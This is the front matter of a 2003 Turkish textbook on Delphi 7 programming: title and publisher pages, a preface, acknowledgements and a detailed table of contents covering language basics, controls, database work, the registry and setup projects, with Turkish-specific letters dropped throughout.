You are on page 1of 1273

DELPHI 7

II

ZRVEDEK BEYNLER

Nihat DEMRL

Yksel NAN

DELPHI 7

Yaynlar

Kitap Yazarlar Nihat DEMRL MCP-MCSE-MCDBA-MCSD-MCAD nihadd@prestigeturk.com M. Yksel NAN MCP-MCP+INT-MCSA-MCSE-MCDBA-MCSD-MCT-MCAD yuksel@yukselinan.com Teknik Editr Sibel YANAR MCP-MCSE ISBN: 975-92267-0-7 Prestie Education Center Merkez Halitaa Cd. Kvan Sok. No: 1/5 Kadky/STANBUL Tel: 0216. 330 06 50 (pbx) 0216. 449 54 78 0216. 345 71 75 Fax: 0216. 345 71 75 ube Gazi niversitesi Mhendislik-Mimarlk Fakltesi Maltepe / ANKARA Tel: 0312. 231 74 00 / 1031 (Dahili) mail: prestige@prestigeturk.com web: www.prestigeturk.com Yayna Hazrlayan Kapak Selman Ali METN Bask mit Ofset Matbaaclk Byk Sanayi 1. Cad. 107/32-39-40-54 skitler / ANKARA Tel: 0312. 384 26 27 384 17 07 Ankara, 2003
Kitabn tm haklar Prestij Biliim Eitim-retim Turizm Hiz. Tic. Ltd. ti.ne aittir. zinsiz olarak ksmen veya tamamen kullanlmas, kopyalanmas ve oaltlmas yasaktr.

IV

NSZ

Zirvedeki Beyinler serisine ait beinci kitabmzla karnzdayz. Serimizi tamamlama aamasnda bizlere gstermi olduunuz ilgiye, neri ve isteklerinize teekkrlerimizi sunuyoruz. Bu sefer Microsoft rn olmayan bir yazlm dili zerine birikimlerimizi sizlerle paylamak istedik. Delphi'yi ok sevdiinizi bu hususta kaynak sknts ektiinizi biliyoruz. Amacmz bu kadar fazla sevilen bir dil hususunda mmkn olduu kadar geni apl bir inceleme yapp sonular sizlerle paylamaktan ibarettir. Delphi ile yazlm birok uygulamamzn halen aktif olarak byk ve orta lekli firmalarda kullanldn,kodlarnn Kitabn baz blmlerinde ufak modller halinde sizlere sunulduunu greceksiniz. Dier kitaplarmza gstermi olduunuz ilgiyi aynen bu kitaba da gstermeniz temennisiyle "Delphi 7 le Veritaban ve Network Uygulamalar" Kitabmzda grmek zere. Btn Hayalleriniz Gerek Olsun.........

Sibel YANAR Teknik Editr

VI

TEEKKR niversitemize bal olarak alan Prestige firmasnn niversitemiz bnyesinde rencilerimize ve akademik personelimize salad eitim olanaklar ve yapt almalar iin Sayn Nihat DEMRL ve Yksel NANa teekkr ederim.

Prof. Dr. Hsn CAN G.. Mh.-Mim. Fak. DEKANI

TEEKKR Bakm-onarm ilerimizin bilgisayar ortamnda dosyalama ve takibi ile ilgili program almasna yapt yardm iin Sayn Nihat DEMRL ve Yksel NANa teekkr ederim.

T. KARLIDA Migros Trk T.A.. n. Emlak Md.

IX

TEEKKR Bankamz Gvenlik Sistemleri ve Kredi Kart Uygulama almalarna ynelik yazlm+danmanlk hizmetlerinden dolay Nihat DEMRL ve Yksel NANa teekkr ederiz.

Burak AKTA INTERBANK n. Emlak Md.

XII

NDEKLER BLM 1 DELPHIYE GR .............................................................................................. 1 Delphi 7ye Giri ..................................................................................... 3 Component Palette ................................................................................... 4 Object Inspector ....................................................................................... 6 Eventslara Eriebilmek........................................................................... 6 Kod Penceresine Ulamak ....................................................................... 7 Kod (Unit) Penceresinin zellikleri ........................................................ 8 Ctrl+Space Tuunun Beraber Kullanlmas............................................. 8 Kod Penceresinde . Karakterinin Kullanlmas.................................... 8 Object TreeView Penceresi ..................................................................... 9 Delphi Dosya Uzantlar .......................................................................... 10 Kod Penceresine Ait Font Ayarlar.......................................................... 11 Uses fadesi.............................................................................................. 12 Project Manager Penceresi....................................................................... 14 Window List Penceresi ............................................................................ 15 BLM 2 DELPHNN TEMELLER................................................................................ 17 rnekleri Yapabilmeniz in Gerekli Olan Pratik Kodlar....................... 19 Aktif Formu Kapatmak............................................................................ 23 Alt Satrdaki Kodlarn lemesini Engellemek ........................................ 23 Program Sonlandrmak ........................................................................... 24 Program kinci Formdan Balatmak....................................................... 24 Herhangi Bir Exe Uygulamasn altrmak .......................................... 25 Adaki Bir Bilgisayarda Bulunan Exe Uzantl Dosyay altrmak .... 25 Deikenler .............................................................................................. 26 Deiken Tanmlarken Dikkat Edilecek Olan Hususlar.......................... 27 Tam Say Deiken Tipleri............................................... ....... 29 Reel Say Deiken Tipleri............................................... ....... 31 String Deiken Tipleri..................................................... ....... 33 Boolean Tip Deiken Tanmlamak ................................. ....... 34 Tarihsel erikli Deiken Tanmlamak ........................... ....... 34 Delphide Sabit Deiken Tanmlamak............................ ....... 35 Local Static Deiken Tanmlamak.................................. ....... 35 Tm Alt Yordamlar Tarafndan Kullanlabilecek Deiken Tanmlamak ............................................................................................. 37 Tm Formlar Tarafndan Kullanlabilecek Deiken Tanmlamak ........ 39 Tip Tanmlamalar ................................................................................... 41 Enumerated Types ............................................................ ....... 41 Subrange Types................................................................. ....... 46

Set Types........................................................................... ....... 47 Record Types .................................................................... ....... 50 With-do blou .......................................................................................... 50 Dizi Deikenler ...................................................................................... 52 Sabit Uzunluklu Dizi Deiken Tanmlamak................... ....... 52 Sabit Uzunluklu ki Boyutlu Dizi Tanmlamak................ ....... 55 Deiken Uzunluklu (Dinamik) Dizi Deiken Tanmlamak .. 58 ok Boyutlu Dinamik Dizi Tanmlamak.......................... ....... 60 Dinamik Dizileri Yeniden Boyutlandrmak ..................... ....... 62 BLM 3 DELPHIDE ATAMA LEMLER & OPERATRLER .............................. 63 Delphide Kullanlan Operatrler ............................................................ 65 Matematiksel Operatrler ................................................. ....... 65 Logical Operatrler........................................................... ....... 66 Delphide Dier Atama lemleri ............................................................ 68 BLM 4 DELPHIDE DALLANMA & DNG KOMUTLARI ................................... 73 IF Yapsnn Delphide Kullanm ekilleri ............................................. 75 Tek Satrda Birden Fazla art Kontrol Etmek (And & Or).................... 80 Is Operatr Kullanarak Karlatrma Yapmak ..................................... 85 Case Yapsnn Delphide Kullanm ekilleri ......................................... 86 Dngler .................................................................................................. 89 For Dngs ..................................................................... ....... 89 Repeat Until Dngs....................................................... ....... 96 While Do Dngs ........................................................... ....... 99 Sralama Algoritmalar ............................................................................ 100 Bubble Sort ....................................................................... ....... 101 Bubble Sort ...................................................................... ....... 103 Shell Sort........................................................................... ....... 104 Selection Sort.................................................................... ....... 105 Quick Sort ......................................................................... ....... 106 Dng Ynlendirme Komutlar ............................................................... 107 Continue............................................................................ ....... 107 Break ................................................................................. ....... 108 Exit.................................................................................... ....... 108 Halt.................................................................................... ....... 109 Application.Terminate ...................................................... ....... 110 Sleep Komutu ................................................................... ....... 112 Application.ProcessMessages........................................... ....... 113

XIV

BLM 5 DELPHIDE FONKSYON & PROSEDRLER.............................................. 115 Delphide Prosedrler .............................................................................. 117 Prosedrleri Dier Yordamlara Bildirmek ....................... ....... 119 Parametre eren Prosedr Tanmlamak........................... ....... 119 Birden Fazla Parametreli Prosedr Tanmlamak.............. ....... 121 Dizi Parametreli Prosedr Tanmlamak ........................... ....... 123 Dinamik Dizi Parametreli Prosedr Tanmlamak ............ ....... 124 Opsiyonel Parametreli Prosedr Tanmlamak.................. ....... 125 Delphide Fonksiyonlar ........................................................................... 127 Fonksiyonlarda Ar Ykleme......................................... ....... 128 Dizi Parametreli Fonksiyon Tanmlamak......................... ....... 130 Okek Hesaplayan Fonksiyon ............................................ ....... 131 Obeb Hesaplayan Fonksiyon ............................................ ....... 133 Fonksiyonlara Birden Fazla Deer Hesaplatmak ............. ....... 135 Delphide Rekrsif Fonksiyonlar ..................................... ....... 139 BLM 6 BLGLENDRME PENCERELER ................................................................. 141 Mesaj Pencereleri..................................................................................... 143 ShowMessage ................................................................... ....... 143 ShowMessagePos.............................................................. ....... 144 ShowMessageFmt............................................................. ....... 145 MessageDlg ...................................................................... ....... 147 Baslan Dmeye Gre Kod Satrlarn letmek .................................... 153 MessageDlgPos................................................................. ....... 155 Application.MessageBox.................................................. ....... 156 InputBox Fonksiyonu .............................................................................. 164 InputQuery Fonksiyonu ........................................................................... 170 Idle Olay Yaratarak Projeyi Kontrol Etmek ........................................... 173 ki Kontroln Ayn Event Kullanmas.................................................... 176 BLM 7 DELPHDE HATA YAKALAMA ..................................................................... 179 Delphide Oluabilecek llegal Durumlar zmek ................................ 181 Lokal Hata Yakalama ....................................................... ....... 181 Try-except-End ...................................................... ....... 181 Try-Finally-End ...................................................... ....... 185 Genel Hata Yakalama ....................................................... ....... 185

XV

BLM 8 DELPHIDE UNIT KAVRAMI........................................................................... 189 Unit Penceresi: ......................................................................................... 191 Uygulama 1....................................................................... ....... 193 Uygulama 2....................................................................... ....... 194 BLM 9 DELPHDE CLASS YAPISI .............................................................................. 203 Delphide Class Uygulamalar................................................................. 205 Adm Adm Class Oluturmak.......................................... ....... 205 Class erisinde Tanmlanan Deikene Erimek ............ ....... 208 Class esisinde Tanmlanan Fonksiyona Erimek .......... ....... 210 Class ierisinde oluturulmu Olan Prosedre Erimek... ....... 214 Class lara zellik Eklenmesi ............................................ ....... 218 Form Kullanmayan Windows Uygulamalar Gelitirmek....................... 222 BLM 10 ARETLER & KATARLAR ......................................................................... 225 Delphide Pointer Deikenlerin Yeri ..................................................... 227 areti Bildirimi ............................................................... ....... 227 aretilere Adres Gstermek ........................................... ....... 228 aretilere Deer Atamak ................................................ ....... 228 aretileri Aritmetik lemlerde Kullanmak.................... ....... 231 Kullanc Tanml Tip Deikeni Olarak Pointer Kullanmak .. 232 aretilerin Dizi Deikenlerle Beraber Kullanlmas..... ....... 233 areti le Dizi Elemanlar Arasnda Dolamak .............. ....... 235 areti Fonksiyon likisi................................................. ....... 238 areti Prosedr likilendirilmesi ................................... ....... 240 areti Class likisi ......................................................... ....... 241 Katarlar .................................................................................................... 242 Katar Bildiriminin Yaplmas ........................................... ....... 242 Karakterler Arasnda Gezinmek ....................................... ....... 244 Katarlar Char Tipli Dizi Deiken Olarak Tanmlamak . ....... 246 BLM 11 DLL DOSYALARI OLUTURMAK ................................................................. 249 DLL Ne e Yarar .................................................................................... 251 Dll erisinde Prosedr Oluturmak ........................................................ 253 Dll erisindeki Prosedre Programdan Ulamak ................................... 253 Dll erisinde Fonksiyon Oluturmak...................................................... 254 Dll erisindeki Fonksiyona Programdan Erimek.................................. 255

XVI

BLM 12 DELPH FONKSYONLARI .............................................................................. 259 Fonksiyonlara Giri.................................................................................. 261 Matematiksel Fonksiyonlar .............................................. ....... 261 Abs .......................................................................... ....... 261 Ceil.......................................................................... ....... 262 Floor........................................................................ ....... 262 Trunc....................................................................... ....... 263 Frac ......................................................................... ....... 264 Exp .......................................................................... ....... 264 Int............................................................................ ....... 265 IntPower.................................................................. ....... 265 Ln ............................................................................ ....... 266 Log10...................................................................... ....... 266 Log2........................................................................ ....... 267 LogN ....................................................................... ....... 267 Max ......................................................................... ....... 268 Min.......................................................................... ....... 268 Muldiv..................................................................... ....... 269 Pi ............................................................................. ....... 269 Poly ......................................................................... ....... 270 Power ...................................................................... ....... 271 Round...................................................................... ....... 271 RoundTo ................................................................. ....... 272 Sign ......................................................................... ....... 273 SimpleRoundTo...................................................... ....... 274 Sqr........................................................................... ....... 274 Sqrt.......................................................................... ....... 275 Inc ........................................................................... ....... 275 Dec .......................................................................... ....... 276 Div .......................................................................... ....... 277 Mod......................................................................... ....... 277 Shl ........................................................................... ....... 278 Shr........................................................................... ....... 278 Tarih erikli Fonksiyonlar ............................................ ....... 283 CompareDate .......................................................... ....... 283 CompareDateTime.................................................. ....... 283 CompareTime ......................................................... ....... 284 CurrentYear ............................................................ ....... 284 Date......................................................................... ....... 284 DateOf..................................................................... ....... 285 DateTimeToStr ....................................................... ....... 286 DateToStr................................................................ ....... 286 XVII

DayOfWeek ............................................................ ....... 287 DayOf ..................................................................... ....... 288 DayOfTheMonth .................................................... ....... 288 DayOfTheWeek...................................................... ....... 289 DayOfTheYear ....................................................... ....... 289 DaysBetween .......................................................... ....... 289 DaysInMonth .......................................................... ....... 290 DaysInAMonth ....................................................... ....... 290 DaysInAYear .......................................................... ....... 291 DaysInYear ............................................................. ....... 291 DaySpan.................................................................. ....... 292 DecodeDate............................................................. ....... 292 DecodeDateDay...................................................... ....... 293 DecodeDateMonthWeek ........................................ ....... 293 DecodeTime............................................................ ....... 294 EncodeDate............................................................. ....... 295 EncodeDateDay ...................................................... ....... 295 EncodeDateMonthWeek......................................... ....... 296 EncodeDateWeek ................................................... ....... 296 EncodeDayOfWeekInMonth.................................. ....... 297 EncodeTime............................................................ ....... 297 EndOfADay ............................................................ ....... 297 EndOfAMonth ........................................................ ....... 298 EndOfAWeek ......................................................... ....... 298 EndOfAYear ........................................................... ....... 299 FormatDateTime..................................................... ....... 299 IncAMonth.............................................................. ....... 300 IncDay..................................................................... ....... 300 IncMonth................................................................. ....... 301 IncWeek.................................................................. ....... 301 IncYear ................................................................... ....... 302 IsInLeapYear .......................................................... ....... 302 IsLeapYear.............................................................. ....... 303 IsToday ................................................................... ....... 303 IsValidDate ............................................................. ....... 304 MonthOf ................................................................. ....... 304 MonthOfTheYear ................................................... ....... 305 MonthsBetween ...................................................... ....... 305 Now......................................................................... ....... 306 NthDayOfWeek ...................................................... ....... 306 RecodeDate............................................................. ....... 306 RecodeYear............................................................. ....... 307 ReplaceDate............................................................ ....... 308 XVIII

StartOfADay ........................................................... ....... 308 StartOfAMonth ....................................................... ....... 309 StartOfAWeek ........................................................ ....... 309 StartOfAYear.......................................................... ....... 310 StartOfTheMonth.................................................... ....... 310 StartOfTheWeek ..................................................... ....... 310 StrToDate................................................................ ....... 311 StrToDateDef.......................................................... ....... 311 StrToDateTime ....................................................... ....... 312 StrToDateTimeDef ................................................. ....... 312 StrToTime............................................................... ....... 313 StrToTimeDef......................................................... ....... 313 Time-GetTime ........................................................ ....... 314 TimeOf.................................................................... ....... 314 TimeToStr............................................................... ....... 315 Today ...................................................................... ....... 315 Tomorrow ............................................................... ....... 316 WeekOf................................................................... ....... 316 WeekOfTheMonth.................................................. ....... 316 WeeksBetween ....................................................... ....... 317 WeeksInAYear ....................................................... ....... 317 YearOf .................................................................... ....... 318 YearsBetween ......................................................... ....... 318 Yesterday ................................................................ ....... 319 String erikli Fonksiyonlar........................................... ....... 320 AnsiCompareStr ..................................................... ....... 320 AnsiCompareText................................................... ....... 320 AnsiDequotedStr .................................................... ....... 321 AnsiLeftStr ............................................................. ....... 322 AnsiLowerCase ...................................................... ....... 322 AnsiMidStr ............................................................. ....... 323 AnsiPos ................................................................... ....... 324 AnsiReplaceStr ....................................................... ....... 325 AnsiReplaceText .................................................... ....... 326 AnsiReverseString ................................................. ....... 326 AnsiRightStr ........................................................... ....... 327 AnsiUpperCase ....................................................... ....... 327 CompareStr ............................................................. ....... 328 CopmpareText ........................................................ ....... 328 Concat ..................................................................... ....... 329 Copy........................................................................ ....... 329 Delete...................................................................... ....... 330 DupeString.............................................................. ....... 330 XIX

Insert ....................................................................... ....... 331 LeftBStr .................................................................. ....... 331 Length ..................................................................... ....... 332 LowerCase .............................................................. ....... 332 MidStr ..................................................................... ....... 332 Pos........................................................................... ....... 333 RightStr................................................................... ....... 333 SetLength................................................................ ....... 334 SetString ................................................................. ....... 334 Str............................................................................ ....... 335 StringOfChar .......................................................... ....... 335 StringReplace.......................................................... ....... 336 StuffString............................................................... ....... 337 Trim ........................................................................ ....... 337 TrimLeft.................................................................. ....... 338 TrimRight ............................................................... ....... 338 UpperCase............................................................... ....... 338 WrapText ................................................................ ....... 339 Chr .......................................................................... ....... 339 Ord .......................................................................... ....... 340 Val........................................................................... ....... 341 StrToInt................................................................... ....... 342 StrToIntDef............................................................. ....... 343 StrToFloat ............................................................... ....... 344 StrToFloatDef ......................................................... ....... 344 IntToStr(sayi)-FloatToStr....................................... ....... 345 FloatToStrF............................................................. ....... 345 FormatFloat............................................................. ....... 347 Rasgele Say retim Fonksiyonlar.................................. ....... 348 RandomFrom .......................................................... ....... 349 RandomRange ........................................................ ....... 350 Saysal Loto Program ............................................ ....... 350 Dizi Fonksiyonlar ............................................................ ....... 352 Mean ....................................................................... ....... 352 Sum ......................................................................... ....... 352 SumInt..................................................................... ....... 353 SumOfSquares ........................................................ ....... 353 SumsAndSquares.................................................... ....... 354 TotalVariance ......................................................... ....... 354 Variance.................................................................. ....... 355 EnsureRange ........................................................... ....... 355 High ........................................................................ ....... 355 Low ......................................................................... ....... 356 XX

MaxIntValue ........................................................... ....... 357 MaxValue ............................................................... ....... 357 MinIntValue............................................................ ....... 358 MinValue ................................................................ ....... 358 Klasr ve Dosya Fonksiyonlar ........................................ ....... 360 ChDir ...................................................................... ....... 360 CloseFile ................................................................. ....... 360 CreateDir................................................................. ....... 361 DeleteFile................................................................ ....... 361 DirectoryExists ....................................................... ....... 362 DiskFree.................................................................. ....... 362 DiskSize.................................................................. ....... 363 FileAge ................................................................... ....... 363 FileDateToDateTime .............................................. ....... 363 FileExists ................................................................ ....... 364 FileGetAttr.............................................................. ....... 364 FileIsReadOnly ....................................................... ....... 365 FileSearch ............................................................... ....... 366 FileSetAttr............................................................... ....... 366 FindFirst.................................................................. ....... 367 FindNext ................................................................. ....... 367 ForceDirectories ..................................................... ....... 368 GetCurrentDir ......................................................... ....... 369 GetDir ..................................................................... ....... 369 RemoveDir.............................................................. ....... 369 RenameFile ............................................................. ....... 370 SelectDirectory ....................................................... ....... 371 ExtractFileDir ......................................................... ....... 372 ExtractFileDrive ..................................................... ....... 373 ExtractFileExt ......................................................... ....... 373 ExtractFileName ..................................................... ....... 374 ExtractFilePath ....................................................... ....... 374 ExtractShortPathName ........................................... ....... 375 WinExec ................................................................. ....... 375 Fonksiyonlar Network Ortamnda Kullanmak ................ ....... 377 Klasrn Paylama Almas................................. ....... 377 UNC Path Nasl Belirtilir ....................................... ....... 377 Makineler Aras Dosya Transferi ........................... ....... 378 Dier Makinedeki Dosyay Silmek ........................ ....... 378 Dier Makinedeki exe Uygulamasn altrmak...... 379 Log Dosyas Oluturmak: ................................................. ....... 380 TextFile Kullanarak Dosyadan Veri Okumak .... ....... 383 TextFile Kullanarak Dosyaya Veri Yazmak...... ....... 384 XXI

BLM 13 DELPH KONTROLLER .................................................................................. 387 Form zellikleri....................................................................................... 389 MDI Form Oluturmak ............................................................................ 403 Label Kontrol ......................................................................................... 405 Edit Kontrol ........................................................................................... 408 Button Kontrol ....................................................................................... 425 BitBtn Kontrol ....................................................................................... 428 CheckBox Kontrol ................................................................................. 430 RadioButton Kontrol.............................................................................. 433 GroupBox Kontrol ................................................................................. 434 Panel Kontrol ......................................................................................... 437 ListBox Kontrol ..................................................................................... 438 ComboBox Kontrol................................................................................ 460 ImageList Kontrol.................................................................................. 465 ListView Kontrol ................................................................................... 466 TreeView Kontrol .................................................................................. 472 TabControl Kontrol................................................................................ 482 DateTimePicker Kontrol........................................................................ 489 MonthCalendar Kontrol......................................................................... 492 ScrollBar Kontrol................................................................................... 495 Splitter Kontrol ...................................................................................... 498 UpDown Kontrol ................................................................................... 500 TrackBar Kontrol ................................................................................... 504 ProgressBar Kontrol .............................................................................. 507 ToolBar Kontrol..................................................................................... 510 Basl Kalabilen Button Oluturmak................................. ....... 514 Alabilir Button Oluturmak ........................................... ....... 514 Grup Halinde alan Buttonlar Oluturmak: .................. ....... 516 StatusBar Kontrol .................................................................................. 519 Timer Kontrol ........................................................................................ 524 MainMenu Kontrol ................................................................................ 529 Alt Menler Yaratmak ...................................................... ....... 530 Men Seeneklerine Kod Yazmak ................................... ....... 531 Men Seeneklerine CheckBox Eklemek ........................ ....... 531 Men Seeneklerine Resim Eklemek ............................... ....... 532 PopupMenu Kontrol .............................................................................. 533 MaskEdit Kontrol .................................................................................. 535 Gauge Kontrol........................................................................................ 536 OpenDialog Kontrol .............................................................................. 539 SaveDialog Kontrol ............................................................................... 543 XXII

FontDialog Kontrol................................................................................ 546 ColorDialog Kontrol .............................................................................. 548 Memo Kontrol........................................................................................ 549 BLM 14 DELPHI YORDAMLARI .................................................................................... 551 Yordamlar ................................................................................................ 553 OnClick ............................................................................. ....... 553 OnDblClick Yordam........................................................ ....... 554 OnChange Yordam .......................................................... ....... 554 Mous Tular le Tetikleyebileceiniz Yordamlar................................... 558 OnMousDown Yordam ................................................... ....... 558 OnMousUp Yordam ........................................................ ....... 560 OnMouseMove Yordam .................................................. ....... 561 OnClose Yordam .................................................................................... 562 OnCreate Yordam ................................................................................... 563 OnEnter Yordam..................................................................................... 564 OnExit Yordam....................................................................................... 565 OnActivate Yordam................................................................................ 566 OnDeactivate Yordam ............................................................................ 567 OnDragDrop-OnDragEnd-OnDragOver ................................................. 567 OnResize Yordam................................................................................... 567 Klavye Tu Vurularyla Tetiklenen Yordamlar ..................................... 568 OnKeyDown Yordam...................................................... ....... 568 OnKeyUp Yordam........................................................... ....... 571 OnKeyPress Yordam ....................................................... ....... 571 OnDestroy Yordam................................................................................. 573 OnShow Yordam .................................................................................... 573 OnHide Yordam...................................................................................... 573 BLM 15 DELPHIDE DRAG & DROP ............................................................................. 575 Drag & Drop (Srkle-Brak).................................................................. 577 OnDragOver Yordam ...................................................... ....... 581 OnDragDrop Yordam ...................................................... ....... 582 BLM 16 DELPHIDE KONTROLLER & YORDAMLARI KODLA OLUTURMAK.................................................................................................... 589 Kontrolleri ve Yordamlar Kodla Oluturmak......................................... 591 ki Kontrolun Ayn Yordam Kullanmas................................................ 595

XXIII

BLM 17 DELPHIDE VERTABANI ................................................................................ 601 VeriTaban Uygulamalar: ....................................................................... 603 BDE Kontrolleri....................................................................................... 604 Table Kontrol.................................................................. ....... 604 Query Kontrol ................................................................. ....... 604 StoredProc Kontrol ......................................................... ....... 604 Database Kontrol ............................................................ ....... 605 Paradox Tablolarna Balant .................................................................. 605 Alias Tanmlamak.................................................................................... 605 Paradoxta Tablo Oluturmak.................................................................. 607 Tablo Yapsnda Deiiklik Yapmak....................................................... 609 DataBase Destop Kullanarak Tabloya Kayt Girmek ........................... 609 Uygulamanzdan Paradox Tablolarna Balanmak ................................. 610 Resimli veya CheckBox eren Tablo Stunlaryla Balant.................. 611 Wizard Kullanarak Veri Tabanna Balanmak........................................ 611 DBNavigator Kontrol ............................................................................ 615 DBNavigator Kontrol in Tklanan Dmeye Kod Yazmak ............... 617 Kaytlar DataGrid Nesnesinde Gstermek ............................................. 619 Kayt lemlerini Kodla Yapmak............................................................. 620 Balant lemlerinin Kodla Yapmak ...................................................... 622 Veri Tabannda Olmayan Stunlar Yaratmak ......................................... 631 Yaratlan Stun Deerlerini Tablonuzda Hesaplatmak ........................... 633 DataGrid Kontrolne Ait zellikler ........................................................ 634 DataGrid Kontrolne Ait Stun Balklarn Belirlemek . ....... 635 DataGrid Stun Balklarnn Ortalanmas....................... ....... 636 DataGrid Stun Geniliklerini Ayarlamak ....................... ....... 637 DataGrid Stunlarn ReadOnly Yapmak......................... ....... 637 DataGrid Sutununu ComboBox eklinde Kullanmak...... ....... 637 DataGrid Kontrolne Ait Stun Balklarn Renklendirmek .. 638 DataGrid Stunlarn Renklendirmek ............................... ....... 638 DataGrid Font Ayarlar..................................................... ....... 638 DataGrid Kontrolnde e Yaramayan Stunlar Gizlemek..... 639 DataGrid Kontrolnde Stun Balklarn Gizlemek ....... ....... 640 Kayt Filtreleme lemleri........................................................................ 641 Filtrelenmi Kaytlar Arasnda Gezinmek ............................................... 644 Filtreli Kaytlarda Bir Sonrakini Git................................. ....... 644 Filtreli Kaytlarda Bir ncekine Git ................................. ....... 645 Filtreli Kaytlarda lk Kayda Git ...................................... ....... 645 Filtreli Kaytlarda Son Kayda Git..................................... ....... 645 Tarih Aralna Gre Filtre Uygulamak ........................... ....... 645 Secondary Index Tanmlamak .......................................... ....... 645 Parasal Arala Gre Filtre Uygulamak ........................... ....... 648 XXIV

Kayt Arama lemleri ............................................................................. 651 Locate Methodu ................................................................ ....... 651 Birden Fazla Stuna Gre Arama Yaptrmak................... ....... 653 SetKey-GotoKey Methodlar............................................ ....... 654 SetKey-GotoNearest Methodlar ...................................... ....... 655 Lookup Methodu............................................................... ....... 656 Transaction lemi.................................................................................... 658 Database Kontrol ................................................................................... 658 Database1.StartTransaction .............................................. ....... 659 Database1.Commit............................................................ ....... 659 Database1.Rollback .......................................................... ....... 660 Query Kontrol ........................................................................................ 664 Query Kontrolne Ait Yordamlar..................................... ....... 667 Wizard Kullanarak Query Kontrolyle Tabloya Balanmak... 669 Query Kontrolne Parametre Deeri Gndermek ............ ....... 670 Parametre Olarak Tarih erikli Deiken Kullanmak..... ....... 673 Parametre Olarak Parasal erikli Deiken Kullanmak .. ....... 674 Birden Fazla Parametre Deeri Gndermek..................... ....... 675 Opsiyonel Parametreli Sorgu Oluturmak........................ ....... 676 Birden Fazla Tablo le almak ............................................................. 678 Master Detail Form Yapsn Mauel Oluturmak .................................... 682 Master-Detail Tablolarda Kayt Arama lemleri.................................... 683 Lookup lemleri...................................................................................... 685 DBLookupComboBox Kontrol ...................................... ....... 685 DBLookupListBox Kontrol ............................................ ....... 689 Tabloda Lookup Stunlar Yaratmak ...................................................... 691 Rapor Dosyalar Oluturmak ................................................................... 695 QuickRep Kontrol........................................................... ....... 696 QRSubDetail Kontrol ..................................................... ....... 696 QRBand Kontrol ............................................................. ....... 696 QRGroup Kontrol ........................................................... ....... 696 QRLabel Kontrol ............................................................ ....... 696 QRDBText Kontrol ........................................................ ....... 696 QRExpr Kontrol.............................................................. ....... 696 QRSysData Kontrpol ...................................................... ....... 696 QRMemo Kontrol ........................................................... ....... 696 QRRichText Kontrol ...................................................... ....... 697 QRShape Kontrol............................................................ ....... 697 QRImage Kontrol ........................................................... ....... 697 QRDBImage Kontrol...................................................... ....... 697 Gruplandrlm Rapor Dosyas Oluturmak ........................................... 702 Rapor Dosyasna Uygulamanzdan Erimek ........................................... 709

XXV

BLM 18 REGISTRY LEMLER .................................................................................... 711 Registry .................................................................................................... 713 Registryye Veri Yazdmak .............................................. ....... 714 Alt Klasre Veri Eklemek ................................................ ....... 717 Ana Roota Alt Klasr Eklemek....................................... ....... 718 Alt Klasre Deiken Eklemek ........................................ ....... 719 Registryden Kayt Okutmak............................................ ....... 719 Ana Root Altndaki Bir Deikenin Deerini renmek ....... 720 Alt Klasrden Deiken Deeri Okutmak........................ ....... 720 Windows Registry Bilgilerini Okutmak ........................... ....... 721 Alt Klasr Silmek ............................................................. ....... 722 Alt Klasr erisindeki Deikeni Silmek ........................ ....... 722 Ana Root Altndaki Deikenleri renmek ................... ....... 723 AnaRoot Altndaki Alt Klasrleri renmek................... ....... 723 BLM 19 KONTROL OLUTURMAK .............................................................................. 727 Delphide Kontrol Oluturmak ................................................................ 729 Kontrol Compenent Paletine Yerletirmek..................... ....... 731 Active Formu Test Etmek................................................. ....... 733 ActiveX Control Oluturmak................................................................... 734 ActiveX Controle Function Eklemek .............................. ....... 735 ActiveX Contrele Prosedr Eklemek .............................. ....... 736 ActiveX Controln Derlenmesi....................................... ....... 737 AvtiveX Controln Component Paletine Eklenmesi ...... ....... 737 Yaratlan ActiveX Controlm Projelerde Kullanlmas.. ....... 738 BLM 20 EXCEL & .NET TEKNOLOJS........................................................................ 741 Excel Uygulamalar ................................................................................. 743 Excel Dosyas Yaratmak................................................... ....... 743 Excel Dosyasna Yeni Bir Sayfa Eklemek ....................... ....... 743 Exceldeki Aktif Sayfann smini renmek ................... ....... 744 Excel Dosyasndaki Sayfa Saysn renmek ................ ....... 744 Excel Dosyasn Kapatmak............................................... ....... 745 Excel Hcrelerine Veri Aktarmak .................................... ....... 745 Excel Hcrelerinden Veri Okumak .................................. ....... 746 Excel Sayfasnda bir Hcreyi Aktif Hale Getirmek ......... ....... 747 Excel Sayfasnda oklu Hcre Setirmek........................ ....... 748 Excel Hcresine Forml Aktarmak .................................. ....... 748 Excel Dosyasndan Aktif Sayfay Silmek ........................ ....... 749 Var Olan Bir Excel Dosyasn Amak.............................. ....... 749 XXVI

Excelde Grafik izdirmek............................................... ....... 750 .Net Teknolojisi........................................................................................ 752 BLM 21 UZMANLAR N BEYN JMNAST ........................................................ 755 Birazda Beyin Jimnastii ......................................................................... 757 Uygulama 1....................................................................... ....... 757 Uygulama 2....................................................................... ....... 757 Uygulama 3....................................................................... ....... 758 Uygulama 4....................................................................... ....... 758 Uygulama 5....................................................................... ....... 759 Uygulama 6....................................................................... ....... 759 Uygulama 7....................................................................... ....... 760 Uygulama 8....................................................................... ....... 761 Uygulama 9....................................................................... ....... 762 Uygulama 10..................................................................... ....... 763 Uygulama 11..................................................................... ....... 764 Uygulama 12..................................................................... ....... 765 Uygulama 13..................................................................... ....... 765 Uygulama 14..................................................................... ....... 766 Uygulama 15..................................................................... ....... 767 Uygulama 16..................................................................... ....... 769 Uygulama 17..................................................................... ....... 776 Uygulama 18..................................................................... ....... 777 Uygulama 19..................................................................... ....... 778 Uygulama 20..................................................................... ....... 779 Uygulama 21..................................................................... ....... 781 Uygulama 22..................................................................... ....... 782 Uygulama 23..................................................................... ....... 785 Uygulama 24..................................................................... ....... 785 Uygulama 25..................................................................... ....... 786 Uygulama 26..................................................................... ....... 787 Uygulama 27..................................................................... ....... 790 Uygulama 28..................................................................... ....... 797 Uygulama 29..................................................................... ....... 798 Uygulama 30..................................................................... ....... 799 BLM 22 SETUP PROJES OLUTURMAK.................................................................... 801 Setup Projesi Oluturmak ........................................................................ 803 Setup Projesinin Dier Bilgisayarlara Yklenmesi ................................. 811

XXVII

BLM 1 DELPHIYE GR

